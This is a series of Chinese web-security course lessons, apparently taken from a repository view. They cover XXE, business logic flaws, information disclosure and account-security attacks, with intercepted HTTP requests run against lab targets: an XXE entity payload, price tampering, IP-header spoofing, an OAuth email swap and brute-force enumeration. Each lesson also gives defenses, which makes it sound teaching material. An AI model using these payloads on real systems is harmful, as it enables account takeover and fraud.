然后,打开靶场我们可以看到,页面中有一个按钮 Any bugs?我们点击不会有反应这时候可以打开Burpsuite做测试通过捕获我们获取到点击按钮会发送请求
POST /xxe-2.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 59
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
sec-ch-ua-platform: "macOS"
Content-type: text/xml; charset=UTF-8
Accept: */*
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/xxe-1.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: security_level=0; PHPSESSID=847jvmklugetdus5u1on5b92v6
Connection: close
<reset><login>bee</login><secret>Any bugs?</secret></reset>
经过观察我们看到Content-type的值为text/xml所以我们可以分析出下面的数据为XML数据于是可以尝试进行XXE攻击。
POST /xxe-2.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 178
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
sec-ch-ua-platform: "macOS"
Content-type: text/xml; charset=UTF-8
Accept: */*
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/xxe-1.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: security_level=0; PHPSESSID=847jvmklugetdus5u1on5b92v6
Connection: close
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE reset[
<!ENTITY Info SYSTEM "http://127.0.0.1/1.txt">
]>
<reset><login>&Info;</login><secret>Any bugs?</secret></reset>
我们可以利用之前学习的知识将请求中的XML数据进行修改利用XXE攻击获取到1.txt文件中的内容。
可以看到1.txt中的内容已经被显示在响应中我们的XXE攻击成功。
总结
这一讲我们学习了XML外部实体注入攻击首先我们介绍了什么是XML可扩展标记语言知道它是一个用来存储和调用数据的文件并对它的语法进行了大致的了解。
随着对它学习的深入我们知道了XML中存在一个验证文档即DTD文档类型定义并了解到它其中有一个实体定义的问题也就是引起XXE漏洞的主要原因。
在学习完一些XML以及DTD的基础知识后我们深入地分析了XXE漏洞产生的原因即XML代码注入导致的DTD对外部实体的定义从而获取到一些隐私文件或者发起服务端请求伪造。
最后我们通过实战切身体会到了XXE攻击的危害并且加深了我们对这一攻击方式的理解。
思考题
你知道有什么防范XXE攻击的措施吗
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!

View File

@ -0,0 +1,139 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
25 业务逻辑漏洞:好的开始是成功的一半
你好,我是王昊天。
在前几年杭州发生了一件让人脑洞大开的违法犯罪行为竟然有一名男子在超市购物时将昂贵商品的标签替换为便宜商品的标签从而实现了将6000余元的商品仅仅花了48元就买回了家。
这名男子得手的原因就是超市的业务逻辑存在漏洞允许男子修改商品上的标签给超市造成了很大的损失。事实上在Web应用中也是有逻辑漏洞存在的这些漏洞也会给Web应用带来巨大的损失。
所以今天我会给你讲解Web应用中的业务逻辑漏洞。首先我们会介绍什么是业务逻辑漏洞让你先对这一漏洞有一定的理解。然后我们会学习业务逻辑漏洞存在的原因进而分析出业务逻辑漏洞可能会导致的后果及影响。最后我们会一起了解现实中发生的业务逻辑漏洞事例加深你对业务逻辑漏洞的理解。
下面,让我们先从最基础的定义开始吧。
业务逻辑漏洞的定义
当开发者在设计一个Web应用时没有进行充分的考虑导致Web应用的逻辑设计不够充分就容易导致业务逻辑漏洞的产生。这么说有点抽象我们一起来看一个示例帮助你理解它。
这是一个购物网站我们打开了一个其中的衣服它的价格十分昂贵需要1337美元。我们可以输入想要购买的数量然后点击Add to cart按钮将它添加到购物车。为了尝试攻击这个应用我们在点击添加购物车时用BurpSuite拦截到报文如下
POST /cart HTTP/1.1
Host: acf51f0c1eaff6e6c0f28fae00f80084.web-security-academy.net
Cookie: session=R4pFnL8mM0tsrGHnit3y3ZdPgYQd9n1B
Content-Length: 50
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: https://acf51f0c1eaff6e6c0f28fae00f80084.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://acf51f0c1eaff6e6c0f28fae00f80084.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
productId=1&redir=PRODUCT&quantity=10&price=133700
看到这个报文我眼前一亮可以发现我们不仅仅可以输入数量甚至还可以输入产品的价格。那我们就自然的会去尝试对它进行修改这里我们将它改为1由于价格的单位是按分计算的所以从购物车中我们看到产品的价格变为了1美分。
这样我们就可以花费很便宜的价格去购买很昂贵的商品了。这就是一个业务逻辑漏洞它的根本原因在于允许用户修改单价。虽然Web应用的前端页面没有修改单价的选项但是攻击者可以通过一些软件例如BurpSuite去修改单价进而导致漏洞的发生。
这就是应用开发者考虑不够充分导致的问题,他们可能认为只要前端页面无法修改单价就行,但是攻击者会有别的方式去修改。究其业务逻辑漏洞的根本原因,就是开发者会对用户的行为做一些合法的预期设想,然后根据这个预期来进行安全设计和响应,一旦攻击者进行一些开发者意想不到的操作,就很容易导致一些问题的发生。
总体来说,业务逻辑漏洞是非常多样化的,它与本身应用的功能和类型相关,因此想要鉴别它是非常困难的,因为这需要一定的业务知识。所以我们很难用漏洞探测工具去对业务逻辑漏洞进行检测,这也导致了业务逻辑漏洞成为一些漏洞测试员的主要工作内容。
在了解完业务逻辑漏洞的原因后,下面让我们深入研究一下这个漏洞是如何引起的。
业务逻辑漏洞的原因
业务逻辑漏洞发生的原因就是Web应用的设计者和开发者对用户的行为做出了错误的假设。这个假设使得Web应用对于用户的输入验证不够充分。
比如应用开发者认为用户只会通过访问浏览器进行数据的上传那么很可能就会把输入验证放到前端去处理。但是攻击者可以通过拦截代理软件例如BurpSuite很容易就能绕过Web应用对于输入的检测从而给Web应用带来威胁。
对于用户输入验证的不充分最终导致攻击者可以对应用做出一些预期之外的操作。由于应用开发者没有想到这种情况所以应用无法安全地处理这些操作这就导致了漏洞的发生。因此在业务逻辑复杂的Web应用中很容易会出现业务逻辑漏洞。
到这里,你已经明白了业务逻辑漏洞是什么,以及它是如何产生的,我们已经有了足够的基础知识储备,这样我们可以更好地学习业务逻辑漏洞的影响了。
业务逻辑漏洞的影响
由于不同Web应用具有不同的业务逻辑所以业务逻辑漏洞的影响范围很广很杂。但是很多的逻辑漏洞攻击都可能会对整个Web应用造成很严重的后果。
从根本上来讲,业务逻辑漏洞产生的影响与它的功能有关。
比如登录授权机制上的逻辑漏洞就会对应用产生数据泄漏的影响,攻击者可以利用它进行权限提升或者绕过登录验证,从而获得一些敏感数据。
而经济交易中的逻辑漏洞,则可能会允许攻击者窃取资金或进行欺诈行为,导致很多的经济损失。
我们需要知道,有的业务逻辑漏洞可能无法让攻击者直接受益,但是会对应用的业务造成一些负面影响,例如影响正常用户的使用。
了解完业务逻辑漏洞的影响后,我们来看两个现实中的业务逻辑漏洞案例。
业务逻辑漏洞实例
这两个案例都很典型,希望你以后遇到类似的应用时,可以联想到它可能存在业务逻辑漏洞。
首先我们回顾下之前学习的那个购物网站我们利用BurpSuite修改了产品的价格导致可以用1美分购买原本价格昂贵的大衣。这是网购中典型的业务逻辑漏洞它仅仅在客户端做了些输入限制我们很容易就可以绕过它。这个逻辑漏洞是由于对客户端验证的过度信任造成的。
应用如果没有做好对异常输入的处理,也会造成逻辑漏洞。下面,让我们再看一个简单的示例。
$transferAmount = $_POST['amount'];
$currentBalance = $user->getBalance();
if ($transferAmount <= $currentBalance) {
// Complete the transfer
} else {
// Block the transfer: insufficient funds
}
这是一个银行转账应用用户可以通过POST方式上传转账的金额。我们不难看出它判断了转账金额是否超出余额如果余额支持转账那么就进行交易操作否则拒绝交易。这是一个正确的逻辑但是如果攻击者将amount设置为负值那么攻击者就会收到它的绝对值的金额。这就是一个业务逻辑漏洞它产生的原因就是应用没有对异常输入做正确处理。
看完这些可怕的逻辑漏洞实例,我们不难知道,做好业务逻辑漏洞的抵御措施是非常重要的。所以我们也不妨学习下如何抵御业务逻辑漏洞吧!
业务逻辑漏洞的抵御
简单来说,抵御业务逻辑漏洞有两个关键。第一点,确保应用的开发者和测试者理解应用的功能。第二点,避免开发者对用户的行为以及应用其他部分的行为做出错误的预期。
展开来说,我们需要明确自己对应用输入作出的预期假设,并执行必要的逻辑验证去判断输入是否符合预期,在将所有的输入经过验证之后才予以使用。
同时,确保所有的开发者和测试者完全理解,开发时做出的假设输入以及应用在不同的情形下进行的响应,这可以帮助应用开发团队尽早发现逻辑漏洞。
当我们发现一个逻辑漏洞时我们可以分析Web应用中存在的逻辑缺陷帮助我们发现应用其他的弱点然后将发现的弱点统统解决掉这可以让我们的业务逻辑更加安全。
总结
在今天的学习中,我们完整地学习了业务逻辑漏洞。
首先我们学习了什么是业务逻辑漏洞在学习过程中我们看了一个卖衣服的示例了解到业务逻辑漏洞就是应用的开发者在设计一个Web应用时没有进行充分的考虑导致Web应用的逻辑设计不够充分从而引起的安全问题。
然后,我们进一步分析了业务逻辑漏洞的产生原因,它主要是由于应用的设计者对于用户的行为作出了错误的预期,并且对用户的输入限制做得不到位,使得应用在处理预期之外的输入时,做出错误的处理,这就导致了业务逻辑漏洞。
接下来,我们分析了业务逻辑漏洞的影响,了解到由于业务逻辑的不同,业务逻辑漏洞造成的影响也不同,这与它的功能相关,例如授权机制的逻辑漏洞会造成数据泄漏的影响。
最后,我们了解了现实中的业务逻辑漏洞示例,分析它们的引起方式有过度信任客户端验证以及错误处理非预期输入。它们造成的后果都是非常严重的,所以我们还学习了抵御这一漏洞的方法,知道了防范业务逻辑漏洞需要做到两个关键,即确保应用的开发者和测试者理解应用的功能,并且避免开发者对用户的行为以及应用其他部分的行为做出错误的预想。
思考题
你能想出一个其他的业务逻辑漏洞示例吗?
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!

View File

@ -0,0 +1,168 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
26 包含敏感信息的报错:将安全开发标准应用到项目中
你好,我是王昊天。
在如今的信息时代里个人隐私是非常重要的我们每个人都会有自己的隐私信息这些信息可能存在于日记本、手机或者Web应用的数据库中。其中如果Web应用中存在信息泄露漏洞用户的隐私信息就有可能被攻击者获取到。那么攻击者是如何获取的呢这节课我们就一起看看顺便加强一下安全开发标准。
接下来我们将分为四个部分进行学习,这里包括信息泄露漏洞的定义、示例、原因及防御方案。
首先,让我们从最基础的定义开始。
信息泄露漏洞的定义
当攻击者恶意发起一些Web应用设计者预期之外的操作使得Web应用无意的将一些敏感信息展示给攻击者这就是信息泄露漏洞。这些敏感信息可能是其他用户的隐私信息、敏感的商业信息以及Web网站的技术细节。
其中我们很容易知道泄露用户的隐私信息和敏感的商业信息都是非常危险的而Web网站的技术信息泄露其实也很重要攻击者很可能会借助这些信息实现对这个Web应用的恶意攻击行为。
信息泄露的示例
当然了确实有很多种方式会导致信息泄露漏洞我们不妨一起看几个示例吧。这里包括robots.txt 信息泄露、备份文件信息泄露、报错信息泄露以及非必要敏感信息展示等等。接下来我们逐一看下。
robots.txt信息泄露
在一些Web应用目录下会存在一个名为robots.txt的文件这个文件主要是用来限制整个站点的搜索引擎访问情况即设置哪些内容可以被访问哪些内容不可以被访问。如果在这个文件中包含了用户不可见目录的信息、结构以及内容那么攻击者就可以访问这个文件来获取这些隐私信息这就是一个典型的信息泄露示例。
例如在这个Web应用中的目录信息下就存在images、content等不允许被访问的文件夹。
接下来,让我们继续学习备份文件引起的信息泄露。
备份文件信息泄露
Web应用管理者在更新Web应用时很可能会将网页内容进行备份。如果管理者出于方便考虑直接将备份文件放到网站目录下并且没有对它进行访问控制的设置那么攻击者就可以直接访问这个文件名来获取备份文件。
那么攻击者是如何知道Web应用可能存在的备份文件名的呢事实上攻击者也不知道具体的备份文件名而是利用一个常见备份文件名的字典文件来进行枚举测试如果备份文件名很简单那么攻击者就很可能成功获取到备份文件。
为了让你更好地理解这个过程,我们一起看看下面这个备份文件字典示例:
/2022.zip
/a.zip
/old.zip
/web.zip
/1.zip
/a.zip
/2021.zip
/1.rar
......
我们可以看到字典文件中列举了一些常见的备份文件名称攻击者就是用它们去对攻击的Web应用进行测试。
攻击者如果获取到备份文件那么他就可以获得网页的源代码这使得他更容易对Web应用进行分析从而实施自己的攻击行为。
下面,我们来看报错信息泄露,它的严重性可能会进一步升级。
报错信息泄露
我们知道如果我们对Web应用进行错误的操作那么就可能会得到一些报错信息比如下面这个示例
这是一个购物信息网站里面有各种商品我们可以选择自己感兴趣的商品点击View details进行观看。这里我对这条会飞的小狗很感兴趣让我们一起看看它的详细信息吧。
从图中我们已经看到这条飞狗的详细描述了。此外我们还发现这个Web应用是通过GET方式上传参数productId。为了让页面显示出报错信息我们将productId的值改为一个字符类型例如App这样页面就可能会出现参数类型错误。
可以看到,页面确实爆出来了很多错误信息。
这里错误页面中包含了很多的Java程序信息它们都属于Web应用的技术细节。如果这些信息被泄露出去那么会对网站的安全造成极大的威胁。
最后,让我们一起来看一个危险性没有那么强的非必要敏感信息泄露。
非必要敏感信息泄露
非必要敏感信息泄露就是Web应用将一些较为敏感的信息非必要地展示给其他用户。
举一个简单的例子就比如有个购物应用我们需要向商家购买商品按照道理商家只需要知道我们的地址信息、联系方式即可完成货物的发送但是Web应用却将我们的身份证号码、银行卡账号都展示给了商家。对于商家而言这是非必要的信息可是Web应用却将这些隐私信息展示给了他们。这就是非必要敏感信息泄露它会对用户的账户安全产生威胁。
到这里,我们就学习完了信息泄露漏洞的示例,这让我们更加具体地了解了信息泄露漏洞的实际场景。接下来,让我们进一步分析这个可怕的漏洞产生的原因。
信息泄露漏洞的原因
信息泄露漏洞产生的方式多种多样,不过它可以分为三种类型。
第一种类型为Web应用的开发者在开发时需要写入一些调试信息来方便自己及他人的合作开发这是正确的行为。但是部分开发者在将Web应用正式部署上线时忘记将这些信息删除干净导致用户可以看到这些信息这就导致了信息的泄露。
第二种类型更加常见它是由于Web应用的开发者没有正确的对Web页面进行配置。这使得在Web页面出现错误时会详细的给用户展示出很多包含敏感信息的报错内容。我们在查看飞狗页面引起的报错中就属于这种情况。
最后一种情况最为普遍这是因为Web应用开发者的不安全设计所导致的这么说可能会比较抽象我们可以通过一个例子来理解。
这是一个设计上存在安全隐患的Web应用我们用字典探测到它存在一个目录admin。于是访问上去发现页面提示到这个页面仅允许本地用户访问这句话就像一个间谍它仿佛在告诉攻击者“只要伪装成本地用户就可以访问了”。
于是我们按照“间谍”的提示尝试利用BurpSuite拦截这一请求并利用添加配置 X-Custom-IP-Authorization: 127.0.0.1,将自己伪造成为本地用户,实现授权的限制。
GET /admin HTTP/1.1
Host: ac5c1f411f91c174c07f828d004100b8.web-security-academy.net
Cookie: session=A5X8EOtt3Wtp2QOAoWxnJYXfXd8NNWFm
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
#我们自己添加的IP信息。
X-Custom-IP-Authorization: 127.0.0.1
Connection: close
将这个报文发送出去,我们可以发现,已经成功绕过授权机制了,获取到的页面如下:
可以看到,该页面列举出了一些用户的用户名信息,我们可以点击删除按钮,将它们删去。
这个授权绕过漏洞的根本原因就是信息泄露所以应用开发者在设计Web应用时需要避免隐私信息的泄露否则很可能会对应用产生安全威胁。
那么在了解完一些信息泄露的原因后,我们就可以对症下药,学习如何防御信息泄露漏洞了。
信息泄露漏洞的防御
因为造成信息泄露的途径多种多样,所以我们很难全面的去做好对信息泄露漏洞的防御。不过我们还是要采取一些措施,来降低信息泄露漏洞的可能性。
首先我们需要让所有的Web应用开发者知道什么是敏感信息因为有些信息可能看起来很安全没有什么危险之处但事实上它的泄露会给应用造成极大的安全威胁。
其次,我们要做到让报错信息趋于通用化,而不是在报错信息中将一些关于应用运行方式的线索传递给攻击者。
最后我们还要彻底地理解Web应用程序运行的配置信息以及安全执行策略然后禁用掉其中不需要的功能防止这些功能造成信息泄露问题。
总结
在这一讲中,我们学习了信息泄露漏洞相关的知识。
首先我们学习了信息泄露漏洞的定义了解到信息泄露漏洞就是攻击者恶意发起一些Web应用设计者预期之外的操作使得Web应用无意的将一些敏感信息展示出来。
在明白了信息泄露漏洞的定义之后我们看了一些信息泄露示例值得一提的是那个飞翔的小狗示例我们通过让页面输出报错信息让Web应用将很多技术细节展示出来。而这些泄露示例可以帮助我们更具体地理解信息泄露是怎么一回事。
之后,我们具体地分析了信息泄露漏洞产生的原因,并将这些原因归为三类。第一类为开发者对于调试信息的漏删,第二类为开发者没有对页面进行正确的配置,最后一类为开发者的不安全设计,它们都是信息泄露漏洞的罪魁祸首。
最后,我们学习了信息泄露漏洞的防御方案,知道了信息泄露漏洞是难以完全去除的,但是我们可以通过让开发者正确认知什么是敏感信息,将报错信息趋于通用化以及禁用不需要的功能来降低信息泄露漏洞发生的概率。
思考题
你觉得还有什么方法能帮助Web应用抵御信息泄露漏洞吗
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!

View File

@ -0,0 +1,223 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
27 用户账户安全:账户安全体系设计方案与实践
你好,我是王昊天。
如今,几乎每个人都有自己的微信账号,我们可以用它来和别人聊天、付款、打车甚至玩游戏。这就是账户安全体系给我们带来的便利之处,我们并不需要重新注册游戏账号,也不用记住游戏的账号、密码就能玩这款游戏,你可能会因此觉得账户安全体系是一个非常成功的设计。
事实上,用户账户体系也存在很多的安全隐患,试想如果别人登录上你的微信账号会造成什么后果呢?他可能会观看你的聊天记录、诈骗你的好友、使用你的零钱以及破坏你的游戏账号。不难看出,后果是非常严重的,也因此可以理解用户账户安全的重要性。
那么这节课就让我们从OAuth授权漏洞、访问控制漏洞及权限提升以及身份验证漏洞这三个方面详细地学习用户账户安全问题。首先让我们来学习用户账户安全关于授权方面的问题——OAuth开放授权。
OAuth开放授权
现在很多的Web应用支持我们用其他Web应用的账号进行登录。使得我们不需要给每个Web应用都注册一个账号这对我们来说非常方便。你可能会好奇这是如何实现的为什么一个Web应用能用另一个Web应用的账号信息登录。事实上它是使用OAuth框架来实现的这一方法的。
接下来让我们具体学习什么是OAuth框架。
OAuth的功能
OAuth是一种常用的授权框架。Web应用程序可以利用它对另一个Web应用的用户账户发起访问请求。值得一提的是OAuth允许用户指定给另一个Web应用什么权限而无需将自己的登录凭据全部发送给请求授权的应用程序。这里有一点需要注意因为如今使用的授权机制几乎都是OAuth2.0所以我们这里讲的OAuth指的是OAuth2.0。
而基本上所有的事物都会有它的双面性虽然OAuth机制给我们带来了极大的便利但是它也容易在执行过程中产生错误。这就导致了OAuth授权漏洞的产生该漏洞可以帮助攻击者获取到其他用户的隐私信息甚至绕过身份验证机制。
下面我们进一步看看这些功能的实现方式。
OAuth的实现方式
OAuth的授权过程会有三方参与它们分别是待授权的Web应用、授权用户以及OAuth服务提供者。
实际上OAuth有很多种不同的授权方式我们往往会将这些不同的授权方式称为授权类型。目前有两个授权类型得到了Web应用的广泛使用。它们分别为授权码授权和隐形授权在授权过程中它们都会经历下图中的六个阶段。
首先待授权的Web应用会发起获取用户数据的请求在这个请求中会包含授权类型以及它想要的访问权限。
接着授权用户会自动登录到授权页面同意待授权Web应用发起的获取数据请求。
然后待授权的Web应用就会收到一个唯一的访问令牌这个令牌可以证明用户允许它访问请求的数据。
这样客户端就可以使用这个令牌去调用相应的API接口从保存用户数据的资源服务器获取到需要的数据进而登陆成功。
这就是OAuth授权的理想实现方式。在部分授权类型中OAuth授权对用户身份的验证方法存在错误这就会导致OAuth授权漏洞接下来让我们一起来学习这个漏洞吧。
OAuth授权漏洞
OAuth授权漏洞就是因为OAuth授权对用户身份的验证方法存在错误导致攻击者无需获取其他用户的授权就能实现登录上其他用户账户的问题。
这么说可能有点抽象,接下来让我们一起看一个示例:
这是一个博客页面我们可以用其他网络应用的账号利用OAuth实现授权登录。输入正确的账号密码后我们登录成功通过使用BurpSuite抓包我们可以分析出授权的请求如下
POST /authenticate HTTP/1.1
Host: accd1fdc1ef72178c0ab064f006d0028.web-security-academy.net
Cookie: session=4XXdLxkBBr2PHqqJiuogfnxTH5o84ixX
Content-Length: 103
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: application/json
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Origin: https://accd1fdc1ef72178c0ab064f006d0028.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://accd1fdc1ef72178c0ab064f006d0028.web-security-academy.net/oauth-callback
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"email":"[email protected]","username":"wiener","token":"G3dOwAKEb2Dg2UnFfoH2UjVpGIaq833HrGaJg2_nEWg"}
从这个请求中,我们容易分析出授权的令牌信息即为 Token 的内容。现在我们已知一个用户的邮箱为[email protected],尝试用如下报文实现对这个邮箱对应账户的登录。
POST /authenticate HTTP/1.1
Host: accd1fdc1ef72178c0ab064f006d0028.web-security-academy.net
Cookie: session=4XXdLxkBBr2PHqqJiuogfnxTH5o84ixX
Content-Length: 103
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: application/json
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Origin: https://accd1fdc1ef72178c0ab064f006d0028.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://accd1fdc1ef72178c0ab064f006d0028.web-security-academy.net/oauth-callback
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"email":"[email protected]","username":"wiener","token":"G3dOwAKEb2Dg2UnFfoH2UjVpGIaq833HrGaJg2_nEWg"}
我们仅仅需要将用户的邮箱改为[email protected]就可以尝试利用OAuth授权漏洞实现对其他用户账户的登录。
通过点击Request in browser打开浏览器看到我们已经成功登录上别人的账户。
这就是一个典型的OAuth授权漏洞追究根本原因就是因为它在对用户授权登录时使用了错误的账户验证方法。从上述示例中我们已知OAuth漏洞的后果是非常严重的所以做好OAuth授权机制非常重要。
到这里你已经学习完了账户安全体系中关于OAuth授权机制相关的问题接下来让我们进入到对访问控制漏洞以及权限提升的学习中去吧
访问控制漏洞及权限提升
作为Web应用的开发者我们需要考虑哪些资源是哪种类型的用户可以访问的。举一个简单的例子某网站的用户分为普通用户以及管理员普通用户只可以查看及修改自己的资料而管理员却可以查看及修改其他人的资料这就是使用访问控制来实现的。
在如今的网络应用中,访问控制错误非常普遍,并且它往往会造成很严重的漏洞。那么什么是访问控制漏洞呢?
当攻击者可以通过一些恶意行为使得他可以绕过访问控制去执行一些Web应用不允许他执行的操作这就是访问控制漏洞。例如作为普通用户的攻击者无法查看和修改其他资料但是攻击者可以通过一些手段实现管理员才具有的权限操作这就是一种权限提升的行为。
接下来,让我们看一个具体的示例:
这是一个购物网站,它的用户分为两类,一类为普通用户,一类为管理员。我们作为普通用户身份,仅仅可以实现购物操作,不过我们可以尝试绕过访问控制,执行管理员才能执行的一些操作。
不知道你是否还记得robots.txt文件在之前的课程中我们知道它是用来告诉我们哪些文件是允许访问的哪些是不可以的。我们首先看看这个Web应用是否含有robots.txt文件。
我们发现这个Web应用存在robots.txt文件从这个文件的内容中我们知道这个Web应用的目录下存在一个adminstrator-panel路径。从名称上我们可以推断出这个管理员控制台路径对应着管理员的控制功能。于是我们尝试对其进行访问。
访问后发现我们已经绕过了访问控制的限制。那在这个示例中漏洞产生的原因就是没有对adminstractor-panel这个功能做一些保护使得任意用户可以通过路径去对它进行访问进而可以执行管理员才具有的功能。
到这里,你已经完成了对访问控制漏洞及权限提升的学习。接下来,让我们学习账户安全体系中关于身份验证漏洞的内容。
身份验证漏洞
不知道你有没有听过小兔子和大灰狼的故事?
故事的内容是,兔妈妈出去找食物,让小兔子一个人待在家里,这时候一个大灰狼来敲门,带上一个兔耳朵并谎称自己是兔妈妈,希望让小兔子上当,然后将门打开,这样自己就能吃到兔肉了。不过小兔子从它的声音判断出,它并不是自己的妈妈,并且没有开门,大灰狼只好灰溜溜的跑走。过了一段时间兔妈妈回来了,小兔子判断出她是兔妈妈,就给她开了门。
这其实就是身份验证问题,大灰狼虽然宣称自己是兔妈妈,但是小兔子根据声音判断出了它并不是。
在Web应用中也存在这样的身份验证机制我们经常遇到的登录页面就是用来进行身份验证的因为通常来说只有用户本人知道自己的账户及密码信息。事实上身份验证机制对于Web应用来说是非常重要的如果没有它Web应用就无法正确判断发送请求的用户身份这会使得攻击者可以肆意伪装成其他用户发起恶意行为。
但身份验证机制并不是完美的,很多身份验证中都有漏洞的存在。接下来,让我们一起看一个示例,具体学习一下什么是身份验证漏洞。
这是一个用来身份验证的登录界面,通常来说,我们需要输入账号密码才能实现登录操作。但是我们没有账号密码,却依然能登录成功。
我们首先随意输入账号密码然后点击登录按钮接收到Web应用的如下响应
可以看到页面给了我们提示信息Invalid username。它直接告诉我们输入的用户名无效。所以我们可以利用一个常用的用户名字典来对它进行暴力破解以尝试获取到有效的用户名。
获取到暴力破解的结果后我们只需寻找其中响应长度不同的报文进行查看因为这代表了页面对于这个payload的响应是与众不同的这就很可能代表这个用户名有效。由于响应的内容由无效的用户名变为了错误的密码所以我们可以判断出af是一个有效的用户名。
接着我们将用户名改为af然后再次用常见的密码字典实现对密码的暴力破解。
再次寻找报文长度不一致的请求发现payload为12345观察响应中没有报密码错误所以我们发现用户名为af账号的密码是12345。
经过验证,登录成功。
这就是一个典型的身份验证漏洞,用暴力破解的方式获取到账号及密码。这样攻击者就完全可以利用它伪装成其他用户进行操作。
防御方案
在上述内容的学习中,我们知道了用户账户安全中存在的问题。那么有什么防御方案吗?一起看下。
OAuth漏洞的防御
在OAuth漏洞的讲解示例中我们利用了之前获取到的授权令牌实现了对另一个用户账户的授权登录。所以对于授权服务器来说可以让授权令牌仅仅可用一次这样就能很好地避免授权令牌的重复使用。对于待授权的客户端应用来说可以将授权令牌绑定发起授权请求的用户这样就使得攻击者无法使用自己的授权令牌来登录其他用户的账户。
访问控制漏洞及权限提升的防御
我们可以用两个方法实现对访问控制漏洞及权限提升的防御。第一个方法为将所有非公开的资源默认设置为拒绝访问这样就可以避免因为忘记配置拒绝访问而导致的访问控制漏洞。第二个方法为对Web应用做好充分的访问测试确保它们按照设计的方式运行这样可以防止因为执行过程出错导致的访问控制漏洞。
身份验证漏洞的防御
为了使我们的Web应用免受身份验证漏洞造成的攻击我们在开发时需要遵守三个原则。第一个原则为注意验证用户的凭据确保这个凭据只有用户拥有且他人无法伪造这样可以防止他人盗用身份。第二个原则为在登录时防止暴力破解我们可以用验证码等操作来增加攻击者的攻击成本。第三个原则为多次检查身份验证逻辑防止因为验证逻辑出现错误导致身份验证漏洞。
总结
在这节课程中我们学习了用户账户安全方面的知识。我们首先了解到用户账户安全可以分为三个部分即OAuth开放授权、访问控制漏洞及权限提升以及身份验证漏洞然后对它们一一展开学习。
在对OAuth的学习中我们知道了它是用来对第三方应用进行授权时用到的待授权应用在请求权限时会向OAuth服务器发送请求然后用户会登录OAuth服务器并进行授权操作OAuth服务器收到授权信息后会将访问令牌发送给待授权的Web应用这样就完成了授权操作。了解完OAuth实现方法之后我们根据一个OAuth漏洞示例了解到OAuth漏洞产生的原因即OAuth授权对用户身份的验证方法存在错误导致攻击者无需获取其他用户的授权就能实现登录上其他用户账户的问题。
